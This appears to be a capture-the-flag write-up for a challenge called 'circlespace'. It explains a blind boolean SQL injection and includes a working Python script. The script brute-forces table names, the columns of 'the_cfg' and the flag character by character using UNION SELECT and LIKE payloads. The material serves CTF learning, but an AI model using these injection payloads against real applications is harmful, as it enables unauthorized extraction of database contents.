Skip to content

Latest commit

 

History

History
82 lines (63 loc) · 2.9 KB

writeup.md

File metadata and controls

82 lines (63 loc) · 2.9 KB

circlespace

The SQL injection is pretty blind with this one, as you're not really given any indication that the SQL query failed. Failed results will just return is not part of the circle, as well as no results.

What you can do however, is leverage the true or false returned from the server (is part, is not part) in order to bruteforce the names of the tables + eventually the flag that we want. Hopefully the servers don't get hammered too much by this brute-force challenge :P

#!/usr/bin/python3
import requests
import string

CHARSET = list(string.ascii_lowercase + string.digits) + ['\\_', '-', '{', '}']
CHARSET_CASE_SENSITIVE = list(string.ascii_lowercase + string.ascii_uppercase + string.digits) + ['\\_', '-', '{', '}']

BASE_URL = "http://localhost:5000"

def query(url: str, sql: str, result: list, charset=CHARSET, current=""):
    found = False
    for i in charset:
        r = s.get(url, params={"name": sql.format(current + i + "%")})
        if "is not part" not in r.text:
            found = True
            res = query(url, sql, result, charset=charset, current=current + i)
            if not res:
                result.append(current + i)
    return found
      

s = requests.Session()
# create a circle
r = s.post(f"{BASE_URL}/create", data={"name": "lol"})
circle_url = r.url

# find the right table

def get_tables():
    q = '" AND 1=0 UNION SELECT 1 FROM information_schema.tables WHERE table_type="BASE TABLE" AND table_schema="circlespace" AND table_name LIKE "{}" -- a'
    tables = []
    query(f"{circle_url}/people", q, tables)
    return tables

print(get_tables())

So firstly, we try to enumerate the table names through the LIKE keyword. We then see that there is a suspicious table called the_cfg, so let's explore this further! (I may have assumed that the table_schema is circlespace above), but this only allows the attack to run a little faster as it would not try to enumerate every table from the DB instance.

def get_columns():
    q = '" AND 1=0 UNION SELECT 1 FROM information_schema.columns WHERE table_schema="circlespace" AND table_name="the_cfg" AND column_name LIKE "{}" -- a'
    columns = []
    query(f"{circle_url}/people", q, columns)
    return columns

print(get_columns())

We are able to see that the table has two columns, cfg_key and cfg_value. This means that we should be onto something. I kinda cheated a little bit below as I didn't look at the cfg_key column.

Also should mention that the flag is case-sensitive, which is why I used LIKE BINARY instead of just LIKE.

def get_flag():
    q = '" AND 1=0 UNION SELECT 1 FROM the_cfg WHERE cfg_value LIKE BINARY "{}" -- a'
    flags = []
    query(f"{circle_url}/people", q, flags, charset=CHARSET_CASE_SENSITIVE)
    return flags

print(get_flag())

Only a total of 3400 requests to the server to get the flag, that's probably the shortest I can get it to without compromising the difficulty...